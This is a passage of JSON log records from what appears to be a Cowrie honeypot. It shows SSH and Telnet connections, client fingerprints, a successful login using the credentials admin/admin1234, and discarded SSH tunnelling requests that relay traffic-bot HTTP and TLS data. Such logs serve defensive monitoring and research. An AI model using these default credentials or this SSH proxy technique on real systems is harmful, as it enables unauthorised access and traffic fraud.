\\x89\\x14O\\xa3\\xfeo\\xe9\\x00u\\xd0\\x86\\xff\\x06~\\xc9\\xa8\\xc9\\xe1\\xd4\"h\\x8fb7\\xd7\\xe1\\xdf\\xd7\\x80^\\x1b\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:14.981539Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:15.343228Z","src_ip":"123.27.168.40","session":"5e0ee5ec4bfa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48158,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2a2f2c32dc4","protocol":"telnet","message":"New connection: 172.81.62.90:48158 (159.203.135.109:23) [session: c2a2f2c32dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:20.706935Z"}
{"eventid":"cowrie.session.closed","duration":14.844820261001587,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:21.356493Z","src_ip":"107.6.151.170","session":"5f0e2baaace2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52442,"dst_ip":"159.203.135.109","dst_port":23,"session":"acc8df17c6a4","protocol":"telnet","message":"New connection: 128.199.8.54:52442 (159.203.135.109:23) [session: acc8df17c6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:25.318080Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62822,"dst_ip":"10.17.0.5","dst_port":22,"session":"285ec819672a","protocol":"ssh","message":"New connection: 123.27.168.40:62822 (10.17.0.5:22) [session: 285ec819672a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:25.977431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:25.981411Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:26.232059Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05bb5c685ab","protocol":"telnet","message":"New connection: 172.81.62.90:56118 (159.203.135.109:23) [session: d05bb5c685ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.103153Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.307027Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51870,"dst_ip":"159.203.135.109","dst_port":23,"session":"703572897355","protocol":"telnet","message":"New connection: 128.199.8.54:51870 (159.203.135.109:23) [session: 703572897355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.343752Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.679877Z","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.835375Z","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.927032Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-P601) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M3YrZ0tiVHdBeTh4XkR0WQ%3D%3DYisv8l23uM4U%2BGLdGRkIe3b9ix48MeMu%2Ft7rXcEtN6LHjiT87MLU1sInSgwTj1%2FI9hfgpwsZ23Oqs%2FxpCFc71fvzRpwGh0GRJmm8MwkLovKPfwktwAYnt2dB%2FPCRUjyVVMP%2BvhJBpXvMMQvUjhBsPMgRB%2BGRQ%2FG2TC7btDZBs%2FaH6E042%2BFn3%2BbxbnYTg6g%2FlGPO2Z%2BShblk4X0WgB3W8RwCHQa9hauOATOTUWBzuoFuaUTZvUXx6QXKMXY3q806Xde0qv5XskBWgy%2BIXCbE6YoRbrFbjDIx1srImPU8BQqGZeWrzF7JeP%2B61US7oXGPQNiUeTJ6XQyIRL4t0ovJfxzFkG%2FFPSH4yDtaS0dpHkXY0XGaKU1%2FBhOot7Wop7J%2F82Gp8SvmAu38B0PqA5d3e%2BAByJk%2BGGYioy%2FTegtK8MBs%2FsntjOz%2BGA05LU77wXhQ9BKsLfdUZ2zTob9wR%2BJnA8domCJaFdnkPaAZpZzHB%2Fm%2FPMJS6YablfwpSYb4Yk9vCcoBNfaZ1RCGz7huTZrqNQZWWaQ6LAC4ljDjXzRUSh%2FNRYqSshxEeaUSxsDDR7jpPFuQwuAStFV8yERcWOwSGqiZvs1d7UsxE1jhrZmdoeshUST6qknOdNspVit6y9aar38CTtjAJhUleaT9c8jlkuaZ%2FLgnZfP7z%2BlOoB9G0gJwx%2BHt1A2mRR4p0UzESfplKSGgZ3KhyXEm3uLQtUDmeKQleyYXkygybByOdVxXipFIycxLZUGYF1uH8clHxJfMBj62ofMf9PGlokkUdDyOaE47o03Kms6PV9z4nhLdviksTXlBO167quclfbc7uZDFzNpuBdDKxlIIAjTpusAb%2Bq8D3wfc%2FgxlRY2zeKYza8JW58Mwr0DiLa7tNn9ZFmxV0RmCaq0Ea%2BvpScCR%2BbrFYZiRoPKprjnHZlprb1KnJhw4WkXt4pFiNFFMdUGB6TFWt6Yngb3zgGHhmufGbZwCwN%2FDVnCtwyaNCwu3jF%2BxhjPymEtBBUGvRJBgUiBM0DnY9r8eGpepjJTR4bVdxPbccZmGA4b%2FLI3BBwCiHUVshaU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; SM-P601) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=M3YrZ0tiVHdBeTh4XkR0WQ%3D%3DYisv8l23uM4U%2BGLdGRkIe3b9ix48MeMu%2Ft7rXcEtN6LHjiT87MLU1sInSgwTj1%2FI9hfgpwsZ23Oqs%2FxpCFc71fvzRpwGh0GRJmm8MwkLovKPfwktwAYnt2dB%2FPCRUjyVVMP%2BvhJBpXvMMQvUjhBsPMgRB%2BGRQ%2FG2TC7btDZBs%2FaH6E042%2BFn3%2BbxbnYTg6g%2FlGPO2Z%2BShblk4X0WgB3W8RwCHQa9hauOATOTUWBzuoFuaUTZvUXx6QXKMXY3q806Xde0qv5XskBWgy%2BIXCbE6YoRbrFbjDIx1srImPU8BQqGZeWrzF7JeP%2B61US7oXGPQNiUeTJ6XQyIRL4t0ovJfxzFkG%2FFPSH4yDtaS0dpHkXY0XGaKU1%2FBhOot7Wop7J%2F82Gp8SvmAu38B0PqA5d3e%2BAByJk%2BGGYioy%2FTegtK8MBs%2FsntjOz%2BGA05LU77wXhQ9BKsLfdUZ2zTob9wR%2BJnA8domCJaFdnkPaAZpZzHB%2Fm%2FPMJS6YablfwpSYb4Yk9vCcoBNfaZ1RCGz7huTZrqNQZWWaQ6LAC4ljDjXzRUSh%2FNRYqSshxEeaUSxsDDR7jpPFuQwuAStFV8yERcWOwSGqiZvs1d7UsxE1jhrZmdoeshUST6qknOdNspVit6y9aar38CTtjAJhUleaT9c8jlkuaZ%2FLgnZfP7z%2BlOoB9G0gJwx%2BHt1A2mRR4p0UzESfplKSGgZ3KhyXEm3uLQtUDmeKQleyYXkygybByOdVxXipFIycxLZUGYF1uH8clHxJfMBj62ofMf9PGlokkUdDyOaE47o03Kms6PV9z4nhLdviksTXlBO167quclfbc7uZDFzNpuBdDKxlIIAjTpusAb%2Bq8D3wfc%2FgxlRY2zeKYza8JW58Mwr0DiLa7tNn9ZFmxV0RmCaq0Ea%2BvpScCR%2BbrFYZiRoPKprjnHZlprb1KnJhw4WkXt4pFiNFFMdUGB6TFWt6Yngb3zgGHhmufGbZwCwN%2FDVnCtwyaNCwu3jF%2BxhjPymEtBBUGvRJBgUiBM0DnY9r8eGpepjJTR4bVdxPbccZmGA4b%2FLI3BBwCiHUVshaU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:27.929880Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:28.167400Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=k\\x02\\xa7\\x98\\x1a\\x1d4\\x97k*\\xf3\\x94\\xed\"B\\xd7\\r\\xb9\\x8f\\x03^\\xf2\\xff\\xd9\\x08\\xcdB\\x015Q\\x8f :d2\\r\\xccS\\x1a\\xe9\\x92\\xdc\\x11\\x9e\\xe0\\xd3+x\\xd2\\xac\\x06K\\xf4\\xbc\\xed.2\\xf8\\xc2\\xf7\\xeaE\\x06\\x1c\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 Q\\x01\\xd5z\\xe5\\x18\\x8b$\\xe5\\x1f?Yi\"\\x87\\xba\\xaec\\xb5\\xaa\\x8b\\x87\\xee\\xd3Rc\\xb5\\xf4\\x056\\x87\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=k\\x02\\xa7\\x98\\x1a\\x1d4\\x97k*\\xf3\\x94\\xed\"B\\xd7\\r\\xb9\\x8f\\x03^\\xf2\\xff\\xd9\\x08\\xcdB\\x015Q\\x8f :d2\\r\\xccS\\x1a\\xe9\\x92\\xdc\\x11\\x9e\\xe0\\xd3+x\\xd2\\xac\\x06K\\xf4\\xbc\\xed.2\\xf8\\xc2\\xf7\\xeaE\\x06\\x1c\\x00 JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 Q\\x01\\xd5z\\xe5\\x18\\x8b$\\xe5\\x1f?Yi\"\\x87\\xba\\xaec\\xb5\\xaa\\x8b\\x87\\xee\\xd3Rc\\xb5\\xf4\\x056\\x87\\x06\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:28.170676Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:28.650898Z","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:51:28.901358Z","src_ip":"123.27.168.40","session":"285ec819672a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k?\\x16\\xff\\xa3`\\xa8K\\xae\\xa6\\xbe\\xad\\xd4\\x19\\xf8\\xe2@-9\\xc9y\\x1d\\xd7&>\\xcb\\xe8\\x01\\xeb\\xc1\\x82! \\x01$\\x1b/C\\xdf\\xff\\x9c\\xd6\\xdcb\\xda)n\\xfa \\xa8j\\xc8\\xa4\\x8d\\x10\\x1c\\xb0\\x9e\\xc4\\x95)\\xcc\\xb0\\x9e\\xf5\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 !g\\x80\\xac\\xf85\\x0e\\xb4\\x80\\x8c\\xd7\\xfd\\x94\"\\x94\\x81C\\xc1\\xdce\\xc3\\x97\\x14\\xa5\\xc2\\xa5)\\xbe\\xcfIlx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03k?\\x16\\xff\\xa3`\\xa8K\\xae\\xa6\\xbe\\xad\\xd4\\x19\\xf8\\xe2@-9\\xc9y\\x1d\\xd7&>\\xcb\\xe8\\x01\\xeb\\xc1\\x82! \\x01$\\x1b/C\\xdf\\xff\\x9c\\xd6\\xdcb\\xda)n\\xfa 